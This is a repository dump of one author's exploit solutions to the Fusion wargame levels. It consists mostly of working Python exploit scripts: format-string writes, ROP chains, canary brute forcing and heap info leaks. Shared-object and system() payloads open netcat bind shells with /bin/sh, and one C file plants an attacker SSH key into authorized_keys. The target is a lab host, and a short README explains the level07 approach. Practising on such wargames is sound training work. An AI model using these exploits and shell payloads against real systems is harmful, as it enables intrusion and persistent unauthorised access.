├── level10 └── README.md ├── level07 ├── paks │ ├── level07.dos.pak │ ├── level07.dos2.pak │ ├── level07.orig.pak │ ├── level07.arbitrarywrite.pak │ └── level07.overwritecmdhead.pak ├── libpak.h ├── level07.so.c ├── level07.client.py ├── level07.server.py ├── level07.makepak.py ├── level07.makepak.final.py ├── level07.encrypt.c ├── level07.decrypt.c └── README.md ├── README.md ├── template.py ├── level04 ├── level04-leak.py ├── level04-canarybf.py ├── level04-bruteforcer.py └── level04.py ├── level11 └── level11.py ├── level12 └── level12.py ├── level06 ├── level06.pem ├── level06.ebp.py ├── level06.infoleak.py └── level06.py ├── level00 └── level00.py ├── level01 └── level01.py ├── level08 ├── libgcc_s.so.c ├── level08.py ├── level08.threaded.py ├── encrypt.c └── README.md ├── level03 └── level03.py ├── level02 └── level02.py ├── level09 └── level09.py ├── level14 ├── level14.py └── README.md ├── level05 ├── level05.orig.py ├── level05.py └── level05.big.py └── level13 └── level13.py /level10/README.md: -------------------------------------------------------------------------------- 1 | > perl -e 'print "%1024x\xc8\x10\xa1\xde"' | nc 10.0.0.1 20010 2 | -------------------------------------------------------------------------------- /level07/paks/level07.dos.pak: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/earthquake/fusion/HEAD/level07/paks/level07.dos.pak -------------------------------------------------------------------------------- /level07/paks/level07.dos2.pak: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/earthquake/fusion/HEAD/level07/paks/level07.dos2.pak -------------------------------------------------------------------------------- /level07/paks/level07.orig.pak: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/earthquake/fusion/HEAD/level07/paks/level07.orig.pak -------------------------------------------------------------------------------- /level07/paks/level07.arbitrarywrite.pak: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/earthquake/fusion/HEAD/level07/paks/level07.arbitrarywrite.pak -------------------------------------------------------------------------------- /level07/paks/level07.overwritecmdhead.pak: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/earthquake/fusion/HEAD/level07/paks/level07.overwritecmdhead.pak -------------------------------------------------------------------------------- /level07/libpak.h: -------------------------------------------------------------------------------- 1 | struct ops { 2 | void (*register_cmd)(unsigned int opcode, unsigned int flags, void *(*fp)(void *)); 3 | void (*unregister_cmd)(unsigned int opcode); 4 | }; 5 | 6 | int parse_pak(unsigned char *pakaddr, size_t paklen, size_t base, struct ops *ops); 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #Fusion 2 | 3 | https://exploit-exercises.com/fusion/

4 | Exploit Exercises Fusion level solutions by my own.
5 | If you care about the quality of the code then this is not your repository, please move along. In any other case, help yourself with hints. 6 | -------------------------------------------------------------------------------- /level07/level07.so.c: -------------------------------------------------------------------------------- 1 | /* 2 | gcc -c -Wall -Werror -fpic level07.c -Wl,-init,foo 3 | gcc -shared -o level07.so level07.o -Wl,-init,foo 4 | */ 5 | #include 6 | #include 7 | 8 | void foo(void) 9 | { 10 | system("/bin/nc.traditional -l -p4551 -e /bin/sh"); 11 | } 12 | 13 | -------------------------------------------------------------------------------- /template.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | 4 | TCP_IP = '10.0.0.1' 5 | TCP_PORT = 20004 6 | BUFFER_SIZE = 1024 7 | 8 | bof = "PLACE IT HERE" 9 | 10 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | s.connect((TCP_IP, TCP_PORT)) 12 | data = s.recv(BUFFER_SIZE) 13 | print "received data:", data 14 | s.send(bof) 15 | data = s.recv(BUFFER_SIZE) 16 | s.close() 17 | 18 | print "received data:", data 19 | -------------------------------------------------------------------------------- /level07/level07.client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | from struct import * 4 | import random 5 | 6 | UDP_IP = '10.0.0.1' 7 | UDP_PORT = 20007 8 | BUFFER_SIZE = 1024 9 | 10 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 11 | s.connect((UDP_IP, UDP_PORT)) 12 | 13 | buf = pack("> 8) & 0xFF) + chr((target >> 16) & 0xFF) + chr((target >> 24) & 0xFF) 14 | byte3 = chr(target+1 & 0xFF) + chr((target >> 8) & 0xFF) + chr((target >> 16) & 0xFF) + chr((target >> 24) & 0xFF) 15 | 16 | bof = byte4 + "%253x%01x%01x%nz"+byte3+"%56460x%01x%01x%01x%n\n" 17 | 18 | s.send(bof) 19 | data = s.recv(BUFFER_SIZE) 20 | while "critical hit" not in data: 21 | data = s.recv(BUFFER_SIZE) 22 | print "received data:", data 23 | s.send("id\n") 24 | data = s.recv(BUFFER_SIZE) 25 | print "received data:", data 26 | s.close() 27 | 28 | -------------------------------------------------------------------------------- /level04/level04-canarybf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | import base64 4 | import time 5 | import string 6 | import random 7 | 8 | # get the stack canary with the proper secret replaced 9 | 10 | TCP_IP = '10.0.0.1' 11 | TCP_PORT = 20004 12 | BUFFER_SIZE = 1024 13 | 14 | def create_http_request(uri, password): 15 | request = "GET "+uri+" HTTP/1.0\nAuthorization: Basic "+base64.b64encode(password)+"\n\n" 16 | return request 17 | 18 | for c in xrange(0, 255): 19 | canary = chr(c) 20 | password = "PC1fysF7wbnh8vU0" + "A"*2032 + "\x00\xf5\xd4\x20" + canary 21 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 22 | s.connect((TCP_IP, TCP_PORT)) 23 | httprequest = create_http_request("/./", password) 24 | s.send(httprequest) 25 | data = s.recv(BUFFER_SIZE) 26 | if "smashing" in data: 27 | print data 28 | continue 29 | else: 30 | print "First character: " + canary.encode("hex") 31 | break 32 | s.close() 33 | 34 | -------------------------------------------------------------------------------- /level12/level12.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | import struct 4 | 5 | TCP_IP = '10.0.0.1' 6 | TCP_PORT = 20012 7 | BUFFER_SIZE = 1024 8 | 9 | #0804b528 00000607 R_386_JUMP_SLOT 00000000 fflush 10 | #(gdb) x/wx 0x0804b528 11 | #0x804b528 : 0x08048926 12 | #(gdb) p callme 13 | #$1 = {void (void)} 0x8049940 14 | 15 | byte4 = struct.pack(" 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define KEY "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMq4LNkkMDF8vmd0hzw8" \ 13 | "/Va5I6K0GNLkruROPB501PPsE/HqKH13d8fOKTWvDgc9At/rRhfaAOgJbpb5wK" \ 14 | "YxRFrpGRoZlCyQ5DZCnD3J/MpfB5R02HPzDTwj87FLJFQjLjosO+/TP9Mz0xv2" \ 15 | "8eSeHSpvkTAScznNH8t5NEZulw113Ga8GSnteN9wPouNQrHEyo+wh0tw46/FHw" \ 16 | "KjFe1n3ho7tj5mhIka5FSen7iYEbby1C+5zKspP8OBF90ndZ5icXPdF7iqDR5s" \ 17 | "vPTN2PpU8VeLwKDicYidqy14RDPLscfMUMW7lR/7n1j4paThisUj0w4hrGnGdg" \ 18 | "omyINmU6Wpyd root@xoreipeip" 19 | 20 | void foo(void) 21 | { 22 | uid_t ruid, euid, suid; 23 | uid_t rgid, egid, sgid; 24 | FILE *fd; 25 | 26 | getresuid(&ruid, &euid, &suid); 27 | getresgid(&rgid, &egid, &sgid); 28 | printf("%d:%d:%d - %d:%d:%d\n", ruid, euid, suid, rgid, egid, sgid); 29 | 30 | mkdir(".ssh", 0766); 31 | fd = fopen(".ssh/authorized_keys", "w+"); 32 | fputs(KEY, fd); 33 | fclose(fd); 34 | } 35 | -------------------------------------------------------------------------------- /level07/level07.makepak.final.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from struct import * 3 | import sys 4 | 5 | def writestack(fourbytes): 6 | sys.stdout.write("\xAF\x00\x00"+fourbytes) 7 | 8 | def dlopen(): 9 | sys.stdout.write("\x4D\x00\x00") 10 | 11 | def dlsym(): 12 | sys.stdout.write("\xB4\x00\x00") 13 | 14 | def sub(): 15 | sys.stdout.write("\x46\x00\x00") 16 | 17 | def writenull(): 18 | sys.stdout.write("\x31\x00\x00") 19 | 20 | def loopin(): 21 | sys.stdout.write("\x18\x00\x00") 22 | 23 | def writefile(): 24 | sys.stdout.write("\x23\x00\x00") 25 | 26 | def writemem(): 27 | sys.stdout.write("\xB0\x00\x00") 28 | 29 | def unregister(): 30 | sys.stdout.write("\x95\x00\x00") 31 | 32 | def writeheap(string): 33 | sys.stdout.write("\xEA" + pack(" 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "libpak.h" 14 | 15 | void register_cmd(unsigned int opcode, unsigned int flags, void *(*fp)(void *)) 16 | { 17 | printf("reg\n"); 18 | } 19 | 20 | void unregister_cmd(unsigned int opcode) 21 | { 22 | printf("unreg\n"); 23 | } 24 | 25 | struct ops regops = { 26 | .register_cmd = register_cmd, 27 | .unregister_cmd = unregister_cmd 28 | }; 29 | 30 | int main() 31 | { 32 | unsigned char *ciphertext, *plaintext; 33 | int fd; 34 | FILE *fd2; 35 | struct stat statbuf; 36 | int status; 37 | unsigned int base, p_len, i; 38 | 39 | fd = open("level07.pak", O_RDONLY); 40 | if(!fd) err(1, "Unable to open %s", "level07.pak"); 41 | if(fstat(fd, &statbuf) == -1) 42 | err(1, "Unable to fstat %s", "level07.pak"); 43 | 44 | ciphertext = mmap(NULL, statbuf.st_size, PROT_READ, MAP_PRIVATE, fd, 0); 45 | if(ciphertext == MAP_FAILED) err(1, "Unable to mmap %s", "level07.pak"); 46 | 47 | status = decrypt_pak(ciphertext, statbuf.st_size, &plaintext, &p_len); 48 | 49 | fd2 = fopen("level07.unpak", "w+"); 50 | fwrite(plaintext, p_len, 1, fd2); 51 | fclose(fd2); 52 | 53 | 54 | for (i = 0; i 14 | #0xb73ebb20 <__libc_system> 15 | #difference: 0x9b60 16 | 17 | #0x0804bcd4 R_386_JUMP_SLOT srand 18 | #0x08049b4f : pop eax ; add esp, 0x5c ; ret 19 | #0x08048bf0 : pop ebx ; ret 20 | #0x080493fe : add dword ptr [ebx + 0x5d5b04c4], eax ; ret 21 | #0x0804bcd4 - 0x5d5b04c4 = 0xaaa9b810 -> ebx 22 | #eax = 0x00009b60 23 | #gContents = 0x804bdf4 24 | #08048f80 : 25 | #08048c20 : 26 | 27 | 28 | stack = "\uf08b\u0408" # pop ebx; ret 29 | stack += "\u10b8\ua9aa" # magic value to ebx 30 | stack += "\u4f9b\u0408" # pop eax; add esp, 0x5c; ret 31 | stack += "\u609b\u0000" # 0x00009b60 32 | stack += "A"*0x5c; # 0x5c As 33 | stack += "\ufe93\u0408" # add dword ptr [ebx + 0x5d5b04c4], eax ; ret 34 | stack += "\u208c\u0408" # 08048c20 35 | stack += "\u808f\u0408" # 08048f80 36 | #stack += "ZZZZ" 37 | stack += "\u2805\u6c09" # gContents <- /bin/nc 38 | #stack += "\uf08b\u0408" # pop ebx; ret 39 | #stack += "\ud4bc\u0408" # 0x0804bcd4 R_386_JUMP_SLOT srand 40 | #stack += "\u33a9\u0408" # 0x0804a933 : call dword ptr [ebx] 41 | #stack += "\u90b5\u2c08" # gContents <- /bin/nc 42 | #stack += "\u90b5\u2c08" # exit 43 | 44 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 45 | s.connect((TCP_IP, TCP_PORT)) 46 | data = s.recv(BUFFER_SIZE) 47 | print "received data:", data 48 | token = data[1:len(data)-2] 49 | json = "\n"+json.dumps({'contents': "/"*600+"/usr/bin/nc -vlp4444 -e/bin/sh", 'title': "C"*127+"\u4141"+"C"*31+stack, 'serverip': '172.16.193.194'}) 50 | msg = token+chr(random.randint(0,255))+chr(random.randint(0,255))+chr(random.randint(0,255))+json 51 | result = hmac.new(token, msg, sha1).digest() 52 | while ord(result[0]) != 0 or ord(result[1]) != 0: 53 | msg = token+chr(random.randint(0,255))+chr(random.randint(0,255))+chr(random.randint(0,255))+json 54 | result = hmac.new(token, msg, sha1).digest() 55 | print "[+] Collision found: "+hmac.new(token, msg, sha1).hexdigest() 56 | s.send(msg) 57 | s.close() 58 | 59 | -------------------------------------------------------------------------------- /level02/level02.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | from struct import * 4 | import time 5 | 6 | TCP_IP = '10.0.0.1' 7 | TCP_PORT = 20002 8 | BUFFER_SIZE = 1024 9 | BUFFER_SIZE2 = 4 * 32 # 4 * uint 10 | BUFFER_SIZE3 = 32*4096 + 16 + 4 11 | 12 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 13 | s.connect((TCP_IP, TCP_PORT)) 14 | data = s.recv(BUFFER_SIZE) 15 | print "received data:", data 16 | data = s.recv(BUFFER_SIZE) 17 | #print "received data:", data 18 | 19 | s.send("E") 20 | s.send(pack("0x804b500 at 0x00002418: .bss ALLOC 27 | #$5 = {ssize_t (int, void *, size_t)} 0x804952d 28 | 29 | rop = pack(" system! (+0xfffa07a0) 52 | 53 | #lib.setsockopt - 0x8048820: jmp *0x8063278 54 | #(gdb) x/w 0x8063278 55 | #0x8063278: 0xb775da70 56 | #0xb775da70-0xa1090 -> exit! (+0xfff5ef70) 57 | 58 | command_addr = 0x08063010 # memory in libc filled with nulls 59 | kvsyscall_addr = 0x080632f0 60 | kvsyscall = pack(" 263 -> stack (all values on stack) 31 | 32 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 33 | s.connect((TCP_IP, TCP_PORT)) 34 | s.send("%1$x%6$x%4$x%256$x%263$x\n") 35 | data = s.recv(BUFFER_SIZE) 36 | 37 | fsrleak = data[0:8] 38 | level14baseleak = data[8:16] 39 | stackropleak = data[16:24] 40 | stackp2pleak = data[24:32] 41 | stackpleak = data[32:40] 42 | level14base = int(level14baseleak, 16) - 0xb700 43 | stackrop = int(stackropleak, 16) - 0x234 44 | stackp2p = int(stackp2pleak, 16) 45 | stackp = int(stackpleak, 16) 46 | 47 | fsr = int(fsrleak, 16) + 0x78c8 # second heap variable - last heap variable distance 48 | systemaddr = level14base - 0x39160 49 | exitaddr = level14base - 0x29f620 50 | alignedstack = (stackp2p & 0xFFFFFFFC) + 0x30 51 | 52 | 53 | bw = 0x00 54 | p2pbytelo = ((alignedstack - bw) & 0xFFFF) + 0 55 | payload0 = "%"+str(p2pbytelo)+"x%256$hn" # aligning the stack! 56 | payload0 += "\n\x00" 57 | s.send(payload0) 58 | s.recv(BUFFER_SIZE) 59 | print "[+] stack address aligned" 60 | 61 | for i in range(1,7): 62 | s.send(generate_formatstring(stackrop + (i-1)*2, i*4-2)) 63 | s.recv(BUFFER_SIZE) 64 | s.send(generate_formatstring(stackrop >> 0x10, i*4)) 65 | s.recv(BUFFER_SIZE) 66 | print "[+] %d. value set" % i 67 | 68 | bw = 0x28 # length of shell payload 69 | bytelo1 = (((systemaddr & 0xFFFF) - bw) & 0xFFFF) 70 | bw += bytelo1 71 | bytehi1 = ((((systemaddr >> 16) & 0xFFFF) - bw) & 0xFFFF) 72 | bw += bytehi1 73 | 74 | bytelo2 = (((exitaddr & 0xFFFF) - bw) & 0xFFFF) 75 | bw += bytelo2 76 | bytehi2 = ((((exitaddr >> 16) & 0xFFFF) - bw) & 0xFFFF) 77 | bw += bytehi2 78 | 79 | bytelo3 = (((fsr & 0xFFFF) - bw) & 0xFFFF) 80 | bw += bytelo3 81 | bytehi3 = ((((fsr >> 16) & 0xFFFF) - bw) & 0xFFFF) 82 | bw += bytehi3 83 | 84 | payloadx = "/bin/nc.traditional -ltp 1337 -e/bin/sh;" # eat this system()! 85 | payloadx += "%"+str(bytelo1)+"x%275$hn%"+str(bytehi1)+"x%276$hn" # ret to system 86 | payloadx += "%"+str(bytelo2)+"x%277$hn%"+str(bytehi2)+"x%278$hn" # exit() pointer 87 | payloadx += "%"+str(bytelo3)+"x%279$hn%"+str(bytehi3)+"x%280$hn" # heap addr that points to this payload 88 | payloadx += "\n\x00" 89 | s.send(payloadx) 90 | print "[+] last payload sent, rop on stack" 91 | print "You can connect to %s on port tcp/1337 now." % TCP_IP 92 | 93 | time.sleep(1) 94 | 95 | -------------------------------------------------------------------------------- /level06/level06.infoleak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | from struct import * 4 | import time 5 | import ssl 6 | import random 7 | import threading 8 | 9 | #ugly info leak with ugly implementation. My bad. 10 | 11 | TCP_IP = '10.0.0.1' 12 | TCP_PORT = 20006 13 | BUFFER_SIZE = 1024 14 | 15 | def getaddress(leak): 16 | addrpos = leak.find("\xb7") 17 | if addrpos == -1: 18 | return "No address found in leak. Run again please" 19 | 20 | addr = leak[addrpos-3:addrpos+1] 21 | if leak[addrpos-3] != "\x38": 22 | return "Wrong address found, looking for specific. ["+addr.encode("hex")+"] Run again please" 23 | addr = leak[addrpos-3:addrpos+1] 24 | return addr.encode("hex") 25 | 26 | def getaddress2(leak): 27 | addrpos = 0 28 | while addrpos != -1: 29 | addrpos = leak.find("\x38", addrpos+1) 30 | if addrpos == -1: 31 | return "No address found in leak. Run again please" 32 | 33 | addr = leak[addrpos:addrpos+4] 34 | if (leak[addrpos+3] != "\xb7") and (leak[addrpos+3] != "\xb8"): 35 | print "Wrong address found, looking for specific. ["+addr.encode("hex")+"] Run again please" 36 | else: 37 | return "Found: "+addr.encode("hex") 38 | 39 | 40 | class myThread (threading.Thread): 41 | def __init__(self, threadID, name, count): 42 | threading.Thread.__init__(self) 43 | self.threadID = threadID 44 | self.name = name 45 | self.count = count 46 | def run(self): 47 | dosomedemage(self.name, self.count) 48 | 49 | def dosomedemage(name, count): 50 | s_plain = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 51 | s_plain.connect((TCP_IP, TCP_PORT)) 52 | s = ssl.wrap_socket(s_plain, ca_certs='level06.pem', 53 | cert_reqs=ssl.CERT_REQUIRED, 54 | ssl_version=ssl.PROTOCOL_TLSv1) 55 | infoleak = "" 56 | data = s.recv(BUFFER_SIZE) 57 | 58 | while True: 59 | if name in "first": 60 | s.send("s a %d\n" % (count)) 61 | s.send("A"*count) 62 | data = s.recv(BUFFER_SIZE) 63 | 64 | if name in "second": 65 | s.send("s a %d\n" % (count)) 66 | s.send("A"*count) 67 | data = s.recv(BUFFER_SIZE) 68 | 69 | if name in "third": 70 | s.send("g a\n") 71 | try: 72 | data = s.recv(BUFFER_SIZE) 73 | if "// Sending" not in data: 74 | infoleak += data 75 | data = s.recv(BUFFER_SIZE) 76 | if "A"*10 not in data: 77 | infoleak += data 78 | except: 79 | print getaddress(infoleak) 80 | break 81 | s.close() 82 | 83 | 84 | s_plain = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 85 | s_plain.connect((TCP_IP, TCP_PORT)) 86 | s = ssl.wrap_socket(s_plain, ca_certs='level06.pem', 87 | cert_reqs=ssl.CERT_REQUIRED, 88 | ssl_version=ssl.PROTOCOL_TLSv1) 89 | data = s.recv(BUFFER_SIZE) 90 | 91 | s.send("s a 100\n") 92 | s.send("A"*100) 93 | data = s.recv(BUFFER_SIZE) 94 | 95 | thread1 = myThread(1, "first", 1000) 96 | thread2 = myThread(2, "second", 10) 97 | thread3 = myThread(3, "third", 1) 98 | 99 | thread1.start() 100 | thread2.start() 101 | thread3.start() 102 | -------------------------------------------------------------------------------- /level05/level05.orig.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | from struct import * 4 | import time 5 | import sys 6 | import struct 7 | import random 8 | 9 | #pre beta file for test 10 | 11 | TCP_IP = '10.0.0.1' 12 | TCP_PORT = 20005 13 | BUFFER_SIZE = 1024 14 | 15 | 16 | def register(s, name): 17 | s.send("addreg " + name + " 32 127.0.0.1\n") 18 | # print "addreg " + name + " 32 127.0.0.1" 19 | return True 20 | 21 | def unregister(s, name): 22 | s.send("addreg " + name + " 0 0.0.0.0\n") 23 | # print "addreg " + name + " 0 0.0.0.0" 24 | return True 25 | 26 | def checkname(s, name): 27 | s.send("checkname " + name + "\n") 28 | # print "checkname " + name 29 | data = s.recv(BUFFER_SIZE) 30 | # print data 31 | if "is not indexed already" in data: 32 | return False 33 | else: 34 | return True 35 | 36 | def bruteforce(s, prefix, postfix, range): 37 | candidates = [] 38 | for i in range: 39 | if i == 32: 40 | continue 41 | register(s, prefix + chr(i) + postfix) 42 | time.sleep(0.1) 43 | checkname(s, "test") 44 | result0 = checkname(s, prefix) 45 | result1 = checkname(s, prefix) 46 | unregister(s, prefix + chr(i) + postfix) 47 | if result0 or result1: 48 | # print result0 49 | # print result1 50 | print "possible candidate: "+str(hex(i)) 51 | candidates.append(i) 52 | continue 53 | return candidates 54 | 55 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 56 | s.connect((TCP_IP, TCP_PORT)) 57 | data = s.recv(BUFFER_SIZE) 58 | print "received data:", data 59 | 60 | #test whether it works 61 | register(s, "A"*16+"\x04") 62 | time.sleep(0.5) 63 | checkname(s, "test") 64 | result = [] 65 | 66 | for i in xrange(4): 67 | result.append(checkname(s, "A"*16)) 68 | 69 | unregister(s, "A"*16+"\x04") 70 | for i in xrange(4): 71 | result.append(checkname(s, "A"*16)) 72 | 73 | if (result[0] or result[1]) and (result[2] or result[3]): 74 | if not (result[4] or result[5] or result[6] or result[7]): 75 | print "Works!" 76 | else: 77 | print "Does not work!" 78 | sys.exit() 79 | else: 80 | print "Does not work!" 81 | sys.exit() 82 | 83 | retestedmemory = [] 84 | print "trying to find hightest byte" 85 | memory = bruteforce(s, "A"*15, "\x04", range(0,256)) 86 | print "final: " 87 | retestedmemory.append(bruteforce(s, "B"*15, "\x04", memory)[0]) 88 | print "final: " + str(hex(retestedmemory[0])) 89 | 90 | print "trying to find second hightest byte" 91 | memory = range(0,256) 92 | #memory = bruteforce(s, "A"*14, chr(retestedmemory[0])+"\x04", range(0,256)) 93 | while len(memory) != 1: 94 | memory = bruteforce(s, chr(random.randint(0x41,0x4a))*14, chr(retestedmemory[0])+"\x04", memory) 95 | 96 | retestedmemory.append(memory[0]) 97 | print "final: " + str(hex(retestedmemory[1])) 98 | #retestedmemory.append(0xb7) 99 | #retestedmemory.append(0x71) 100 | print "trying to find second lowest byte" 101 | #memory = bruteforce(s, "A"*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", range(0,256)) 102 | memory = range(0,256) 103 | while len(memory) != 1: 104 | memory = bruteforce(s, chr(random.randint(0x41,0x4a))*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", memory) 105 | #memory = bruteforce(s, "A"*13, chr(retestedmemory[0])+chr(retestedmemory[1])+"\x04", range(0x58,0x59)) 106 | print "." 107 | #memory = bruteforce(s, "B"*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", memory) 108 | print "." 109 | #memory = bruteforce(s, "A"*13, chr(retestedmemory[0])+chr(retestedmemory[1])+"\x04", memory) 110 | print "." 111 | print str(hex((retestedmemory[0]<<16) + (retestedmemory[1]<<8) + (((memory[0]>>4)-2)<<4))) 112 | 113 | s.close() 114 | 115 | -------------------------------------------------------------------------------- /level07/README.md: -------------------------------------------------------------------------------- 1 | #level07 solution 2 | 3 | I have spent a few days/weeks to solve this, but finally have it, reliably.
4 | In a few sentences here are some thoughts:
5 |
6 | level07 binary registers two functions into a linked list and both of them could have called with a special prefix (the opcode of the function). But after loading and calling the libpak.so, it is going to read up the default .pak file which removes the second registered function (execute_command), so the easy way to execute code is gone by default.
7 | By reversing the libpak.so, I managed to understand the way how the binary works:
8 | - load_new_pakfile can be invoked by an UDP packet previously explained
9 | - it connects back to us for the pak file encoded
10 | - encoding is easy, explained by the source
11 | - encrypted pak is sent and decoded, and will be decrypted by the libpak with rc4
12 | - easy to "implement" encryption/decryption by using libpak.so and invoking the functions
13 | - after decryption, the run_pak_vm runs on the decrypted pak which is a DFA (Deterministic Finite Automata)
14 |
15 | The automata can do the following things:
16 | - write any 4bytes into a variable on stack
17 | - write arbitrary message into a variable that is allocated on the fly on the heap
18 | - substract/add two 4bytes values - this is f*cked up this is why I wasted a hell of a lot of time, loop should be decremented only by one
19 | - writing NULL into a variable on stack
20 | - call dlopen() on a file (this was the solution btw)
21 | - call dlsym() on any object
22 | - loop the variables
23 | - unregister an opcode (this is done by the default pak file/on execute_command function)
24 | - write data into a file from a memory address
25 | - write any 4 bytes into any memory address (seems nice, isn't it?)
26 |
27 | I wrote multiple python scripts and c codes to solve this level:
28 | - level07.client.py - asks the server to connect back to us and/or send any udp packet with the opcode and arguments
29 | - level07.server.py - listens on the specified port and wait for incoming connection to serve the level07.pak file encoded
30 | - level07.decrypt.c - decrypt any well-formed and ecrypted pak file (level07.pak)
31 | - level07.encrypt.c - encrypt any decrypted pak file (level07.unpak)
32 | - level07.makepak.py - DFA implemented in python, works as a "library", you can craft your on "commands"
33 | - level07.makepak.final.py - actual exploit
34 | - level07.so.c - shared object c file
35 |
36 | How I tried:
37 | First I tried to resolve a function address to have a fix address and later to substract the difference which is constant, but because of the substraction was not implemented properly (maybe on purpose) I could not solve this problem, to find a reliable way to gain knowledge about the base address.
38 | Then I tried to find some kind of info leak that can be accessed from the attacker machine, but no luck. Without the info leak I had no prior knowledge about the addresses. With the knowledge I would have been able to resolve the cmdtab_head object on the heap, allocate a new heap variable, craft a partly valid linked-list and just replace the pointer on the resolved address to the newly allocated address. When I cheated, this worked and I managed to replace the linked list with the one that points to the execute_command() function. But because I had no luck with the infoleak, I did not manage to write an exploit that is reliable.
39 |
40 | How I solved:
41 | When I first saw the dlopen function, I had a feeling maybe I can write out an .so and have some kind of constructor in it, but I didn't tried because I thought I need to find a stack overflow (based on the sheet of the level). Finally I created a shared object that has an initialization function that is called when the object is loaded. This way I managed to create a pak file that stores the filename on heap, the content of the .so file on heap and writes into a file. After that we only need to call dlopen() in the DFA and there it is, our code is running on the victim machine. Piece of cake, huh? It wasn't :)
42 |
43 | -------------------------------------------------------------------------------- /level13/level13.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ''' 3 | solution is fully mine, but there is another writeup that explains things that 4 | are partly found in this exploit: 5 | https://r3v3rs3r.wordpress.com/2014/07/27/solving-fusion-level-13/ 6 | 7 | First we leak some data from stack with direct parameter access and default 8 | access, calculate the base addresses of modules. From the calculated addresses 9 | we have the system() addr, fflush.got.plt addr and the address of the first 10 | parameter on stack of fflush. In the second round we have 3different variables 11 | controlled: user, pass, email. Email can store our payload (revshell), user can 12 | overwrite fflush's pointer to point to system() and pass can overwrite the 13 | memaddr that points to the fflush first parameter on stack. In the second round 14 | just after the fprintf we are going to execute fflush which points to system at 15 | that moment. Bumm, there is our shell. 16 | While loop is needed to look for addresses that can be modified in less than 63 17 | bytes. If any of the parameters are more than 62bytes, it won't be process 18 | properly. 19 | ''' 20 | 21 | import socket 22 | import struct 23 | 24 | TCP_IP = '10.0.0.1' 25 | TCP_PORT = 20013 26 | BUFFER_SIZE = 1024 27 | 28 | #%128$x - /lib/i386-linux-gnu/ld-2.13.so - ld base + 0x10c9c 29 | #%9$x - heap - base + 0x1a0 - won't be used, btw 30 | #%08x - stack - relative random addr on stack 31 | #ld base - libc base = 0x189000 32 | #(gdb) p system 33 | #$28 = {} 0xb7645b20 <__libc_system> 34 | #(gdb) p/x 0xb7645b20 - 0xb7609000 35 | #$29 = 0x3cb20 - system() from libc 36 | #fflush.got.plt - level13 base + 0x3b74 37 | #level13 base = ldbase + 0x23000 38 | 39 | loop = 0 40 | 41 | while True: 42 | print "Trying to get proper addresses to set up not so lengthy format strings %d" % loop 43 | loop += 1 44 | 45 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 46 | s.connect((TCP_IP, TCP_PORT)) 47 | data = s.recv(BUFFER_SIZE) 48 | 49 | s.send("%128$x\n") 50 | data = s.recv(BUFFER_SIZE) 51 | s.send("%08x\n") 52 | data = s.recv(BUFFER_SIZE) 53 | s.send("%9$x\n") 54 | data = s.recv(BUFFER_SIZE) 55 | ldleak = int(data[21:29], 16) 56 | stackleak = int(data[50:58], 16) 57 | heapleak = int(data[80:88], 16) 58 | ldbase = ldleak - 0x10c9c 59 | level13base = ldbase + 0x23000 60 | fflushgotplt = level13base + 0xb74 61 | libcbase = ldbase - 0x189000 62 | systemaddr = libcbase + 0x3cb20 63 | cmdlineaddr = stackleak + 0x80 64 | systemarg = libcbase + 0x178880 65 | 66 | data = s.recv(BUFFER_SIZE) 67 | s.send("yes\n") 68 | data = s.recv(BUFFER_SIZE) 69 | 70 | bw = 0x21 71 | byte4 = (((systemaddr & 0xFF) - bw) & 0xFF) + 8 72 | bw += (byte4 + 5 + (3-len(str(byte4)))) & 0xffff 73 | byte3 = ((((systemaddr >> 8) & 0xFF) - bw) & 0xFF) + 8 74 | bw += (byte3 + 5 + (3-len(str(byte3)))) & 0xffff 75 | byte2 = ((((systemaddr >> 16) & 0xFF) - bw) & 0xFF) + 8 76 | bw += (byte2 + 5 + (3-len(str(byte2)))) & 0xffff 77 | byte1 = ((((systemaddr >> 24) & 0xFF) - bw) & 0xFF) + 8 78 | bw += (byte1 + 5 + (3-len(str(byte1)))) & 0xffff 79 | 80 | format1 = struct.pack("> 8) & 0xFF) - bw) & 0xFF) + 8 86 | bw += (byte3 + 5 + (3-len(str(byte3)))) & 0xffff 87 | byte2 = ((((cmdlineaddr >> 16) & 0xFF) - bw) & 0xFF) + 8 88 | bw += (byte2 + 5 + (3-len(str(byte2)))) & 0xffff 89 | byte1 = ((((cmdlineaddr >> 24) & 0xFF) - bw) & 0xFF) + 8 90 | bw += (byte1 + 5 + (3-len(str(byte1)))) & 0xffff 91 | 92 | format2 = struct.pack(" 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | struct buffer { 11 | unsigned char *data; 12 | size_t len; 13 | }; 14 | 15 | static void 